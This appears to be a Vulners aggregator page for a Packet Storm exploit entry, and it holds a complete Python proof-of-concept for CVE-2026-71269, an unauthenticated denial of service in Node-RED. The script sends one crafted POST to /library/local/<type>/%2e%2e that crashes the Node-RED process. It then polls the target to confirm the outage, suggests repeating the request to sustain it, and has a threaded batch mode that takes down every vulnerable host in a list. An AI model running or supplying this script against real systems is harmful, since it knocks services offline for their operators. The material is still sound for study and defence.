Lucene search
+L

📄 Node-RED 5.0.4 Unauthenticated Denial of Service

🗓️ 06 Aug 2026 00:00:00Reported by 1dayexploitType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 13 Views

Node-RED unauthenticated denial of service via discarded write promise in library save path (CVE-2026-71269).

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-71269
5 Aug 202615:08
circl
cve
CVE
CVE-2026-71269
5 Aug 202612:26
cve
cvelist
Cvelist
CVE-2026-71269 Node-RED Library API Path Traversal Leading to Arbitrary File Read/Write
5 Aug 202612:26
cvelist
euvd
EUVD
EUVD-2026-53354
5 Aug 202612:26
euvd
nvd
NVD
CVE-2026-71269
5 Aug 202613:24
nvd
vulnrichment
Vulnrichment
CVE-2026-71269 Node-RED Library API Path Traversal Leading to Arbitrary File Read/Write
5 Aug 202612:26
vulnrichment
#!/usr/bin/env python3
    """
    CVE-2026-71269 - Node-RED unauthenticated remote denial of service via a discarded
                     write promise in the library save path.
    Affected: Node-RED 3.0.0 through 5.0.4 (latest, unpatched) running on Node.js >= 15
    Type: DoS (unhandled promise rejection -> uncaughtException -> process.exit(1))
    
    A single unauthenticated request, POST /library/local/functions/.., makes
    saveLibraryEntry() join the attacker path to the library root. The bare ".." segment
    passes the is_malicious() blocklist (it only rejects "../" and "..\\") and normalises
    to the library directory itself. util.writeFile() then tries to rename its temp file
    over that directory, fails with EISDIR, and rejects. Its promise is discarded by the
    caller, so on Node.js >= 15 the rejection becomes an uncaught exception and Node-RED's
    own handler calls process.exit(1). The HTTP layer has already answered 204.
    
    NOTE ON SCOPE: this CVE is filed as a path traversal with arbitrary file read/write.
    That is not reproducible - the is_malicious() guard blocks every traversal encoding
    tested. The reproducible impact is denial of service only. This exploit does not
    claim, and does not attempt, file read, file write or code execution.
    
    WARNING: this is destructive and one-shot. A successful run terminates the target
    Node-RED process. It stays down until an operator or supervisor restarts it. In
    --list mode every vulnerable host in the file is taken down.
    
    Usage:
      python exploit.py --host <target> --port <port>
      python exploit.py --host 192.168.1.10 --port 1880
      python exploit.py --host https://192.168.1.10:8443
      python exploit.py --host http://nodered.corp.com/admin      # httpAdminRoot prefix
      python exploit.py --host 192.168.1.10 --token <bearer>      # if adminAuth is set
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import http.client
    import json
    import socket
    import ssl
    import sys
    import time
    from urllib.parse import urlparse
    
    CVE_ID    = "CVE-2026-71269"
    VULN_TYPE = "DoS"
    
    # Bare ".." percent-encoded. Express decodes the route capture before is_malicious()
    # runs, so this is equivalent to a literal "..", but no HTTP client or proxy on the
    # way will collapse it out of the path. A trailing slash would make the capture "../",
    # which the guard blocks, so there is none.
    TRAVERSAL   = "%2e%2e"
    # saveLibraryEntry() force-appends ".json" for the "flows" type, which turns ".." into
    # the harmless filename "...json". Only these two types reach the bug.
    LIB_TYPES   = ("functions", "templates")
    TRIGGER_BODY = json.dumps({"text": "x"})
    UA          = "Mozilla/5.0 (compatible)"
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    # network primitives
    # --------------------------------------------------------------------------- #
    
    def _connect(host: str, port: int, use_tls: bool, timeout: float):
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            return http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
        return http.client.HTTPConnection(host, port, timeout=timeout)
    
    
    def _http(host, port, use_tls, method, target, body=None, token=None, timeout=10.0):
        """One request. Returns (status, body_text). Raises OSError on transport failure.
    
        The request target is written verbatim, so percent-encoded dot segments survive
        to the server instead of being normalised away by the client.
        """
        conn = _connect(host, port, use_tls, timeout)
        try:
            headers = {"Accept": "application/json", "User-Agent": UA}
            if token:
                headers["Authorization"] = "Bearer " + token
            data = None
            if body is not None:
                data = body.encode()
                headers["Content-Type"] = "application/json"
                headers["Content-Length"] = str(len(data))
            conn.request(method, target, body=data, headers=headers)
            resp = conn.getresponse()
            payload = resp.read()
            return resp.status, payload.decode("utf-8", "replace")
        finally:
            try:
                conn.close()
            except Exception:
                pass
    
    
    def _tcp_alive(host: str, port: int, timeout: float = 3.0) -> bool:
        """True if the port completes a TCP handshake."""
        try:
            s = socket.create_connection((host, port), timeout=timeout)
            s.close()
            return True
        except OSError:
            return False
    
    
    def _admin_base(path: str) -> str:
        """Normalise an httpAdminRoot prefix into a bare base with no trailing slash."""
        base = (path or "/").rstrip("/")
        return base
    
    
    def _watch_liveness(host, port, use_tls, base, token, window, quiet=True):
        """Poll the target for `window` seconds after the trigger.
    
        Returns (died, recovered, timeline). `died` is the evidence that matters: the
        process was answering before the request and stopped answering after it.
        `recovered` distinguishes a hard down from a supervisor restart loop.
        """
        died = False
        recovered = False
        timeline = []
        deadline = time.time() + window
        while time.time() < deadline:
            elapsed = round(window - (deadline - time.time()), 1)
            if not _tcp_alive(host, port, timeout=2.0):
                state = "connection refused"
                if not died:
                    died = True
            else:
                try:
                    status, _ = _http(host, port, use_tls, "GET",
                                      base + "/library/local/flows", token=token, timeout=5.0)
                    state = f"HTTP {status}"
                    if died:
                        recovered = True
                except OSError as exc:
                    state = f"no HTTP response ({exc.__class__.__name__})"
                    if not died:
                        died = True
            timeline.append((elapsed, state))
            if not quiet:
                print(f"    t+{elapsed:>4}s  {state}")
            # Once we have both a death and a recovery the verdict cannot change.
            if died and recovered:
                break
            time.sleep(1.0)
        return died, recovered, timeline
    
    
    def _fire(host, port, use_tls, base, token, lib_type):
        """Send the trigger. Returns (status, body) or (None, reason) if the socket died."""
        target = f"{base}/library/local/{lib_type}/{TRAVERSAL}"
        try:
            return _http(host, port, use_tls, "POST", target,
                         body=TRIGGER_BODY, token=token, timeout=10.0)
        except OSError as exc:
            # The process can die before the response is fully written. That is still a hit.
            return None, f"{exc.__class__.__name__}: {exc}"
    
    
    # --------------------------------------------------------------------------- #
    # silent probe for --list mode
    # --------------------------------------------------------------------------- #
    
    def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                     token=None, window: float = 12.0) -> tuple:
        """Silent probe. Returns (success, evidence). Never prints, never exits."""
        base = _admin_base(path)
        try:
            status, _ = _http(host, port, use_tls, "GET",
                              base + "/library/local/flows", token=token, timeout=8.0)
        except OSError as exc:
            return False, f"unreachable ({exc.__class__.__name__})"
        if status == 401:
            return False, "401 - adminAuth is configured, a library.write token is required"
        if status != 200:
            return False, f"library API answered {status}, not a Node-RED admin endpoint"
    
        for lib_type in LIB_TYPES:
            status, body = _fire(host, port, use_tls, base, token, lib_type)
            if status is None:
                break                       # socket died mid-request, go straight to liveness
            if status == 204:
                break
            if status == 400 and "Unknown library type" in body:
                continue                    # this type is not registered, try the next
            if status == 403:
                return False, "403 forbidden - the path guard rejected the payload"
            if status == 401:
                return False, "401 - adminAuth is configured"
        else:
            return False, "no writable library type accepted the request"
    
        time.sleep(1.5)
        died, recovered, _ = _watch_liveness(host, port, use_tls, base, token, window)
        if died and recovered:
            return True, "process exited and was restarted by a supervisor (restart loop)"
        if died:
            return True, "process exited - port stopped accepting connections"
        return False, "204 accepted but the service stayed up (Node.js <= 14, or patched)"
    
    
    # --------------------------------------------------------------------------- #
    # target parsing / scan mode
    # --------------------------------------------------------------------------- #
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10,
             token=None, window: float = 12.0) -> None:
        """Batch scan. Destructive: every vulnerable host in the file is taken down."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"  WARNING: destructive - a hit terminates the target process")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, path, token, window)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                marker = "[+]" if ok else "[-]"
                verdict = "Exploited" if ok else "Not vulnerable"
                print(f"  {marker} {label} - {verdict}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    # single target
    # --------------------------------------------------------------------------- #
    
    def exploit(host: str, port: int, use_tls: bool, path: str,
                token=None, window: float = 20.0) -> None:
        header(host, port)
        base = _admin_base(path)
        scheme = "https" if use_tls else "http"
    
        step(1, f"Probing the admin API at {scheme}://{host}:{port}{base or '/'} ...")
        try:
            status, body = _http(host, port, use_tls, "GET",
                                 base + "/library/local/flows", token=token, timeout=8.0)
        except OSError as exc:
            section("CONNECTION ERROR", f"{exc.__class__.__name__}: {exc}")
            done(False, f"Target unreachable at {host}:{port} - nothing to exploit")
    
        if status == 401:
            section("SERVER RESPONSE", body)
            done(False, "401 - adminAuth is configured; supply --token with library.write scope")
        if status != 200:
            section("SERVER RESPONSE", f"HTTP {status}\n{body}")
            done(False, f"Library API returned {status}, expected 200 - not a Node-RED admin endpoint")
    
        section("BASELINE - GET /library/local/flows", f"HTTP 200\n{body[:400]}")
        print("  Service is alive and the library API is unauthenticated.\n")
    
        step(2, "Firing the trigger: POST /library/local/<type>/%2e%2e with {\"text\":\"x\"}")
        fired_type = None
        fire_status = None
        fire_body = ""
        for lib_type in LIB_TYPES:
            print(f"    trying library type '{lib_type}' ...")
            fire_status, fire_body = _fire(host, port, use_tls, base, token, lib_type)
            if fire_status is None:
                print(f"    socket dropped mid-request: {fire_body}")
                fired_type = lib_type
                break
            print(f"    -> HTTP {fire_status}")
            if fire_status == 204:
                fired_type = lib_type
                break
            if fire_status == 400 and "Unknown library type" in fire_body:
                continue
            if fire_status == 403:
                section("SERVER RESPONSE", fire_body)
                done(False, "403 forbidden - the is_malicious() guard rejected the path; "
                            "the payload must be exactly '..' with no trailing slash")
            if fire_status == 401:
                section("SERVER RESPONSE", fire_body)
                done(False, "401 - adminAuth is configured; supply --token")
    
        if fired_type is None:
            section("SERVER RESPONSE", f"HTTP {fire_status}\n{fire_body}")
            done(False, "No writable library type accepted the request - target may be "
                        "running an unaffected configuration")
    
        if fire_status == 204:
            section("TRIGGER RESPONSE",
                    f"HTTP 204 No Content  (library type '{fired_type}')\n"
                    "The API answered success before the write promise rejected. "
                    "204 alone proves nothing - the liveness check below is the evidence.")
    
        step(3, f"Watching the service for {int(window)}s to confirm the process died ...")
        time.sleep(1.5)
        died, recovered, timeline = _watch_liveness(host, port, use_tls, base, token,
                                                    window, quiet=False)
    
        trace = "\n".join(f"t+{t:>5}s  {s}" for t, s in timeline)
        section("LIVENESS TIMELINE (post-trigger)", trace)
    
        if died and recovered:
            section("SERVICE STATE",
                    "Port stopped accepting connections after the trigger, then began "
                    "answering again - the process was terminated and restarted by a "
                    "supervisor (systemd, docker --restart, pm2). The crash is confirmed; "
                    "the impact on this host is a restart loop rather than a hard outage.")
            done(True, "CRASH CONFIRMED - one request terminated the Node-RED process "
                       "(supervisor restarted it; repeat to sustain the outage)")
    
        if died:
            section("SERVICE STATE",
                    "Port refused every connection after the trigger and never recovered. "
                    "The service was answering HTTP 200 immediately before the request. "
                    "One unauthenticated POST took it down permanently.")
            done(True, "CRASH CONFIRMED - service went from HTTP 200 to connection refused "
                       "after a single unauthenticated request, and stayed down")
    
        section("SERVICE STATE",
                "The service kept answering for the whole observation window. The request "
                "was accepted (204) but no crash followed. Likely causes: the target runs "
                "Node.js 14 or older (an unhandled rejection is only a warning there), the "
                "discarded-promise bug has been fixed, or a proxy in front of the target "
                "rewrote the '..' segment out of the path.")
        done(False, "Trigger accepted but the service stayed up - target does not appear "
                    "vulnerable")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            description=f"{CVE_ID} exploit PoC - Node-RED unauthenticated remote DoS",
            epilog="DESTRUCTIVE: a successful run terminates the target Node-RED process.")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                               "(e.g. https://host:8443/admin)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=1880,
                            help="Default port (default: 1880)")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        parser.add_argument("--token", default=None,
                            help="Bearer token, only needed if the target set adminAuth")
        parser.add_argument("--confirm-window", type=float, default=20.0, dest="window",
                            help="Seconds to watch liveness after the trigger (default: 20)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 token=args.token, window=min(args.window, 12.0))
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, token=args.token, window=args.window)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Aug 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.17.2
EPSS0.0059
SSVC
13